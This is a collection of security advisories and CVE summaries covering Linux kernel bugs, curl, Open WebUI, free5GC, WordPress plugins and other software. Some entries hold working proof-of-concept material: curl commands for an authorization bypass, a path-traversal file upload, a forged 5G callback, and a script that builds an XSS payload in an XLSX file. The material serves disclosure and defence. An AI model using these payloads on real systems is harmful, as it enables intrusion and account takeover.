Linux Kernel versions 6.4 and later containing IPA v5.0+ hardware support experience complete data path failure and indefinite system hangs during suspend or shutdown operations due to a register field misprogramming bug. The event ring index field was incorrectly referenced using an outdated identifier (ERINDEX instead of CH_ERINDEX) in the CH_C_CNTXT_1 register definition, preventing GSI channels from signaling transfer completions. This causes gsi_channel_trans_quiesce() to block indefinitely in wait_for_completion(), resulting in runtime suspend, system suspend, and remoteproc stop operations hanging forever. Patches are available across multiple stable kernel branches (6.6.136, 6.12.83, 6.18.24, 6.19.14, 7.0). EPSS score of 0.02% indicates very low observed exploitation probability, and no active exploitation is confirmed (not in CISA KEV). The CVSS vector indicates network-accessible attack surface, though the actual impact is limited to devices with IPA v5.0+ hardware.
Improper SMB connection reuse in curl allows attackers to cause the library to send confidential request data over an attacker-controlled or unintended SMB connection, breaking the expected isolation between connections. The flaw affects a wide range of curl versions used in countless Linux distributions and embedded products, with a CVSS of 7.5 (confidentiality impact only). No public exploit identified at time of analysis, though SSVC marks exploitation as POC and EPSS remains very low (0.02%, 5th percentile).
Memory corruption in Linux kernel's mlx5 network driver causes denial of service when XDP multi-buffer programs modify packet layout. The flaw specifically affects the mlx5e receive queue fragment tracking logic: when XDP programs call bpf_xdp_pull_data() or bpf_xdp_adjust_tail() to modify buffer layout, the driver fails to properly count dropped fragments, leading to negative page pool reference counts, kernel warnings, and potential system instability. Exploitation requires sending crafted network packets to systems using mlx5 NICs with XDP multi-buffer programs loaded. EPSS score of 0.02% indicates low exploitation probability. Vendor patches available for kernel versions 6.18.19, 6.19.9, and 7.0.
DMA mapping resource leaks in the Linux kernel's spacemit Ethernet MAC driver (emac_tx_mem_map function) allow remote attackers to trigger denial of service through network traffic that causes mapping errors, progressively exhausting kernel memory resources. The vulnerability affects Linux kernel versions 6.18.x through 6.19.9, with vendor patches available for stable branches 6.18.19, 6.19.9, and 7.0. EPSS exploitation probability is very low (0.02%, 4th percentile), and no public exploit or active exploitation has been identified at time of analysis.
Memory corruption in Linux kernel on Qualcomm Monaco-based ARM64 platforms causes kernel crashes through synchronous external aborts when accessing hypervisor-owned memory incorrectly marked as conventional RAM. The firmware's EFI memory map only reserves 288 KiB of a 512 KiB Gunyah hypervisor metadata region (0x91a80000-0x91afffff), leaving 224 KiB exploitable for triggering fatal aborts. Patches available for stable branches 6.18.24, 6.19.14, and 7.0 series. EPSS exploitation probability is very low (0.02%, 4th percentile) with no known active exploitation or public POC, indicating limited real-world threat despite CVSS 7.5 rating.
Cross-origin DOM XSS and handler hijacking in the locize client SDK (browser module) allows remote attackers to execute arbitrary JavaScript, steal translation content, and manipulate the InContext editor UI. Attackers exploit missing postMessage origin validation by crafting messages from any embedded iframe, opened window, or parent frame that shares a window reference with a locize-enabled page. The vulnerability affects all versions prior to 4.0.21, with the vendor confirming exploitation through multiple handler paths (editKey, commitKeys, isLocizeEnabled, requestPopupChanges). No public exploit identified at time of analysis, though the GitHub security advisory provides detailed exploitation vectors including innerHTML injection, attribute-based XSS (onclick, href="javascript:"), and API endpoint hijacking to intercept translation data.
Weak salt generation in Crypt::PasswdMD5 (Perl) through version 1.42 enables password hash cracking via predictable random values. The module uses Perl's built-in rand() function for salt generation instead of cryptographically secure random sources, allowing attackers to predict salt values and drastically reduce the computational cost of offline password cracking attacks. CVSS 7.5 (High) with network vector and no authentication required. SSVC assessment indicates the vulnerability is automatable with partial technical impact. EPSS and KEV data not provided, but the cryptographic weakness is architecturally exploitable wherever these password hashes are transmitted or stored in accessible locations.
Cookie leakage in curl (libcurl) versions 7.71.0 through 8.19.0 allows remote servers to receive cookies intended for a different host when a stale custom cookie host value persists across requests. The flaw, tracked as CWE-319 (cleartext transmission of sensitive information), carries a CVSS 7.5 and SSVC 'partial' technical impact, with no public exploit identified at time of analysis and an EPSS of 0.01%.
Local privilege escalation in Akamai Guardicore Platform Agent 7.0-7.3.1 and Zero Trust Client 6.0-6.1.5 on Linux and macOS enables unprivileged users to gain root access through two distinct vectors: a TOCTOU race condition in the HandleSaveLogs() function that creates world-writable root-owned files via symlink manipulation in /tmp, and command injection in the gimmelogs diagnostic tool executing with root privileges. The vulnerability requires local access with high attack complexity (CVSS AC:H) but no authentication (PR:N), affecting endpoint security agents that typically run with elevated privileges. No active exploitation confirmed at time of analysis; EPSS data not available for this 2026 CVE identifier.
# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: models = await get_all_models() if app.state.MODEL_FILTER_ENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODEL_FILTER_LIST, models["models"], ) ) return models return models ``` This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user. The vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97> ```python def get_current_user( auth_token: HTTPAuthorizationCredentials = Depends(bearer_security), ): # auth by api key if auth_token.credentials.startswith("sk-"): return get_current_user_by_api_key(auth_token.credentials) # auth by jwt token data = decode_token(auth_token.credentials) if data != None and "id" in data: user = Users.get_user_by_id(data["id"]) if user is None: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.INVALID_TOKEN, ) return user else: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid. --- ## 12. Proof-of-Concept First, verify that an unauthenticated user receives `{"detail":"401 Unauthorized"}`: ```bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags' ``` The above curl command will return: `{"detail":"401 Unauthorized"}` as no Authorization Bearer token is provided. Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command. ```bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"') curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags' ``` Additionally the `"role":"pending"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`. --- ## 13. Mitigation Recommendation The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use. ```python def get_verified_user(user=Depends(get_current_user)): if user.role not in {"user", "admin"}: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.ACCESS_PROHIBITED, ) return user ``` Modify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.
# **CONFIDENTIAL** # KL-CAN-2024-002 ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Jaggar Henry & Sean Segreti of KoreLogic, Inc. | | 2 | **Date Submitted** | 2024.03.12 | | 3 | **Title** | Open WebUI Arbitrary File Upload + Path Traversal | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type | --- ## 4. High-level Summary Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. --- ## 11. Technical Analysis When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the `/rag/api/v1/doc` API route: ```python @app.post("/doc") def store_doc( collection_name: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(get_current_user), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm" print(file.content_type) try: filename = file.filename file_path = f"{UPLOAD_DIR}/{filename}" contents = file.file.read() with open(file_path, "wb") as f: f.write(contents) f.close() ``` The `file` variable is a representation of the multipart form data contained within the HTTP POST request. The `filename` variable is derived from the uploaded file name and is not validated before writing the file contents to disk. This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled `authorized_keys` file to remotely connect to the machine. --- ## 12. Proof-of-Concept Execute the following cURL command: ```bash TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc" ``` Verify the file `pwned.txt` exists in the `/tmp/` directory on the machine hosting the web server: ```console ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$ ```
### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid `NotifId`, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime `ServiceList` does not declare it (it lists only `nnef-pfdmanagement` and `nnef-oam`). ### Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: `free5gc/nef:v4.2.1` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the `nnef-callback` route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by `NotifId`. Code evidence (paths in `free5gc/nef`): - Callback route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:64` - Callback route exposed at `/notification/smf`: `NFs/nef/internal/sbi/api_callback.go:13` - API layer reads raw request bytes and deserializes them before any auth check: `NFs/nef/internal/sbi/api_callback.go:23` - Processor looks up the subscription by `NotifId`: `NFs/nef/internal/sbi/processor/callback.go:13` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. Send a forged callback request: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24
### Summary Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the [sheetjs](https://git.sheetjs.com/sheetjs/sheetjs) function [sheet_to_html](https://git.sheetjs.com/sheetjs/sheetjs/src/commit/66cf8d2117d271f89e4f47b5fed35a3e1ea93f67/bits/79_html.js#L127) to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via [`@html`](https://svelte.dev/docs/svelte/@html) causing the payload to trigger. ### Details The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133 XLSX attachments are processed by this function, converted to HTML with `XLSX.utils.sheet_to_html` before ultimately being assigned to the variable `excelHtml`. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected. https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400 ### PoC A python script to generate a payload file is as follows: ```python import xlsxwriter payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">' workbook = xlsxwriter.Workbook('xss_payload.xlsx') worksheet = workbook.add_worksheet() payload_format = workbook.add_format() worksheet.write_rich_string('A1', 'This cell contains a hidden payload: ', payload_format, payload ) worksheet.write('A2', 'This is a safe cell.') worksheet.write('B1', 'Column B') workbook.close() ``` Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" /> ### Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users. Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server. Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch. ### Caveats The file attachment in the shared chat must be opened and previewed to trigger the vulnerability. ### Recommendation Sanitise the generated HTML with DOMPurify before assigning it to the DOM.
Stored cross-site scripting in Open WebUI versions 0.3.5 through 0.8.12 allows authenticated users with model creation permission to inject malicious JavaScript via markdown-link payloads in model descriptions. Attackers craft markdown links with javascript: URIs (e.g., [text](javascript:alert())) that bypass sanitization, are parsed into executable anchor tags by marked.parse(), and rendered unsafely via Svelte's {@html} directive. Successful exploitation enables session token theft from localStorage and full account takeover of admins and other users who view the malicious model in the chat UI. This represents a pipeline-ordering flaw distinct from CVE-2024-7990, which exploited a video-tag restoration logic removed in v0.4.0. Fix confirmed in v0.9.0 (commit 5eab125) via DOMPurify post-processing. EPSS data not provided; CVSS 7.3 reflects network attack vector with low complexity but required authentication and user interaction, limiting automated exploitation.
Use-after-free in Linux kernel ASoC (ALSA System on Chip) subsystem allows local authenticated users with open audio streams to trigger memory corruption during sound card unbind operations. The flaw occurs when PCM stream closure schedules delayed DAPM (Dynamic Audio Power Management) work after widgets are freed, enabling potential privilege escalation or denial of service. EPSS score of 0.02% indicates low observed exploitation probability. Vendor patches available across multiple stable kernel branches (5.10.253, 5.15.203, 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, 7.0). No CISA KEV listing or public POC identified at time of analysis.
Remote unauthenticated attackers can forge JWT authentication tokens in AstrBot 3.5.15 by exploiting a hardcoded private key ('Advanced_System_for_Text_Response_and_Bot_Operations_Tool'), enabling full authentication bypass with subsequent remote code execution capabilities. Public exploit code exists on GitHub (Marven11/CVE-2025-55449-AstrBot-RCE) demonstrating weaponization of this cryptographic flaw. EPSS score of 0.00% suggests limited automated scanning activity, but the availability of working RCE exploit code significantly elevates practical risk for exposed instances.
Stored Cross-Site Scripting in Auto Affiliate Links for WordPress allows unauthenticated remote attackers to inject malicious JavaScript into administrator statistics pages through an unprotected AJAX endpoint. The vulnerability stems from missing input sanitization on the 'url' parameter in aal_url_stats_save_action() combined with direct output of stored values in aal_display_clicks() without escaping. Attackers can exploit a publicly exposed nonce and the wp_ajax_nopriv_ hook to store malicious payloads that execute when administrators view click statistics, potentially leading to session hijacking, privilege escalation, or site compromise. Wordfence reported this vulnerability affecting versions through 6.8.8, with a patch released in version 6.8.8.1.
Server-side request forgery in n8n-mcp versions 2.18.7 through 2.50.1 allows authenticated attackers with MCP session access to bypass SSRF protections and send HTTP requests to cloud metadata endpoints and internal services, with response bodies returned directly to the attacker. Multi-tenant HTTP deployments are critically exposed: any tenant sharing an AUTH_TOKEN can exfiltrate AWS IAM, GCP service account, or Azure managed identity credentials from the operator's cloud metadata service (169.254.169.254 and related endpoints). Single-tenant and stdio deployments remain vulnerable via indirect prompt injection attacks that manipulate LLM tool calls. Vendor-released patch: n8n-mcp version 2.50.2. No CVSS score assigned; no public exploit code identified at time of analysis, though the advisory contains sufficient technical detail for proof-of-concept development.
Server-Side Request Forgery (SSRF) in PromptHub 0.4.9 through 0.5.3 allows authenticated users to bypass IPv6 address validation and probe internal network resources. The /api/skills/fetch-remote endpoint accepts user-supplied URLs and fetches them server-side, reflecting up to 5 MB of response data. Flawed IPv6 validation allows attackers to reach RFC1918 private networks, loopback addresses, and link-local destinations using IPv4-mapped IPv6 hex representations and alternate ::1 notations. When ALLOW_REGISTRATION=true (a documented configuration), any internet user can register and exploit this vulnerability. Vendor-released patch: version 0.5.4. EPSS data not available; no evidence of active exploitation (not in CISA KEV).
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.
Open WebUI versions through 0.8.12 allow any authenticated user to bypass model access controls and interact with restricted LLM models via the /api/openai/responses endpoint. The vulnerability permits low-privilege users to consume expensive models (GPT-4o, o1-pro) restricted by administrators, enabling budget exhaustion and denial of service against legitimate users in multi-tenant deployments. Publicly available exploit code exists via GitHub PR #23481. Vendor-released patch available in version 0.9.0. CVSS 7.1 (High) reflects network-accessible attack with low complexity requiring only basic authentication, yielding high availability impact and low confidentiality impact.
Stack out-of-bounds read in the Linux kernel's netfilter nft_set_pipapo subsystem allows local low-privileged attackers to read 4 bytes past the end of a stack-allocated rulemap array via pipapo_drop(). The flaw was confirmed by KASAN and affects kernels from 5.6 onward until the fixed stable releases. No public exploit identified at time of analysis, and EPSS is very low (0.02%, 7th percentile), but the CVSS 7.1 score reflects the potential for kernel memory disclosure and availability impact.
Out-of-bounds read in the Linux kernel's netfilter nfnetlink_cthelper subsystem allows a local attacker with CAP_NET_ADMIN to trigger an 8-byte OOB read in nfnl_cthelper_dump_table() by racing helper deletion against a netlink dump operation. The flaw stems from a misplaced 'goto restart' that bypasses the for-loop bounds check when cb->args[0] equals nf_ct_helper_hsize, as detected by KASAN. EPSS is 0.02% and no public exploit identified at time of analysis, though a detailed reproducer call trace exists in the commit message.
Out-of-bounds read in the Linux kernel's NVMe PCI driver (nvme_dbbuf_set) allows a local attacker to trigger a slab-out-of-bounds memory access during NVMe controller reset, potentially leading to denial of service or information disclosure. The flaw stems from an incorrect loop bound that iterates past dev->online_queues, reading from kmalloc-2k slab memory belonging to adjacent allocations. No public exploit identified at time of analysis, and the EPSS score of 0.02% reflects a low probability of opportunistic exploitation.
Out-of-bounds read in the Linux kernel's USB CDC-WDM (Communication Device Class - Wireless Device Management) driver allows a local low-privileged attacker to disclose uninitialized kernel memory and potentially crash the host through a memory-ordering race between desc->length updates and a memmove() in the read path. The flaw stems from compiler reordering or CPU out-of-order execution that can cause wdm_read() to observe an updated length before the corresponding data is fully copied, leading copy_to_user() to operate on uninitialized memory. EPSS is very low (0.02%, 7th percentile), there is no public exploit identified at time of analysis, and the issue is not on the CISA KEV list.
Out-of-bounds read in the Linux kernel's rtl8723bs staging Wi-Fi driver allows a local authenticated attacker to read memory beyond the WMM IE buffer and potentially crash the kernel. The flaw resides in rtw_restruct_wmm_ie(), which accesses in_ie[i+5] before validating that the index is within in_len. EPSS is 0.02% (7th percentile) and no public exploit identified at time of analysis, but a vendor-released patch is available across multiple stable branches.
Local unprivileged users can trigger out-of-bounds memory reads in Linux kernel's io_uring subsystem (versions 6.19+) via crafted SQE array mappings when IORING_SETUP_SQE_MIXED is enabled without NO_SQARRAY. By manipulating sq_array indices to point to the last physical SQE slot and submitting 128-byte operations, attackers cause a 64-byte buffer over-read during memcpy operations, potentially leaking sensitive kernel memory. Vendor patches available for affected 6.19.x branches. EPSS score of 0.02% indicates very low observed exploitation probability; no CISA KEV listing or public exploit identified at time of analysis.
HTML injection in Brave CMS 2.0 contact form allows remote attackers to inject arbitrary HTML markup into administrative notification emails. The unauthenticated contact form passes user-supplied message text through nl2br() without HTML escaping, then renders it using Blade's unescaped {!! $msg !!} directive. While JavaScript execution is blocked by modern email clients, attackers can craft convincing phishing interfaces within the email body to target administrators. Upstream fix available via commit 6c56603, which implements HTML escaping using Laravel's e() helper function. EPSS and KEV data not provided. GitHub source diff confirms the vulnerability in ContactController.php and documents the server-side sanitization fix.
SEPPmail Secure Email Gateway before version 15.0.4 exposes server environment variables through an unauthenticated endpoint in the GINA UI, allowing remote attackers to retrieve sensitive system information including configuration details, internal paths, and potentially credentials. The vulnerability requires only network access to the affected endpoint with no authentication, authentication complexity, or user interaction; it is classified as an information disclosure flaw with limited confidentiality impact (CVSS 6.9).
Sync-in Server is a secure, open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.2.0, the /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time. This issue has been patched in version 2.2.0.
Path traversal vulnerability in YARD prior to version 0.9.42 allows remote attackers to access arbitrary files on a server running yard server with unsanitized HTTP requests when using the --docroot flag. The vulnerability affects the documentation serving functionality and has been patched in version 0.9.42. No public exploit code or active exploitation has been identified at the time of analysis.
Buffer overflow in CROSS crypto_sign_open() function allows remote attackers to corrupt memory via malformed signature input due to integer underflow in message length validation. The vulnerability affects the reference implementation prior to commit fc6b7e7, enabling potential code execution or denial of service when processing untrusted signatures. The flaw exists in the core cryptographic signing operation with no authentication required, making it exploitable in any system integrating this algorithm for signature verification.
pupnp is an SDK for development of UPnP device and control point applications. Prior to version 1.18.5, pupnp is vulnerable to SRRF port confusion due to port truncation via atoi() cast in parse_uri(). This issue has been patched in version 1.18.5.
Denial of service in Zebra's JSON-RPC HTTP middleware allows authenticated RPC clients to crash a Zebra node by disconnecting mid-request, exploiting improper error handling that treats incomplete HTTP body reads as unrecoverable failures instead of returning error responses. Affects zebrad versions 2.2.0 through 4.3.0 and zebra-rpc versions 1.0.0-beta.45 through 6.0.1. No public exploit code or active exploitation confirmed; patch available in zebrad 4.3.1 and zebra-rpc 6.0.2.
SysReptor is a fully customizable pentest reporting platform. From version 2026.4 to before version 2026.27, the endpoints for reading and creating sharing links for personal notes is not properly authorized. This allows authenticated attackers who obtain the note ID of victim users to list and create sharing links to those users' personal notes. This gives attackers read and write access to notes of other users. This exploit works in both SysReptor Professional and Community. In Community it has, however, no impact because all users have superuser permissions and can list personal notes of other users at /admin/pentests/usernotebookpage/. This issue has been patched in version 2026.27.
### Impact The Volcano webhook server does not enforce a size limit on incoming HTTP request bodies. Any in-cluster pod that can reach the webhook endpoint may send an arbitrarily large request body, potentially causing the webhook server to be killed by OOM. All Volcano deployments with the webhook server exposed to in-cluster traffic are affected. ### Patches This issue will be fixed in the following versions: - v1.14.2 - v1.13.3 - v1.12.4 Users running versions below these should upgrade accordingly. ### Workarounds No known workarounds. Upgrade to the patched versions listed above.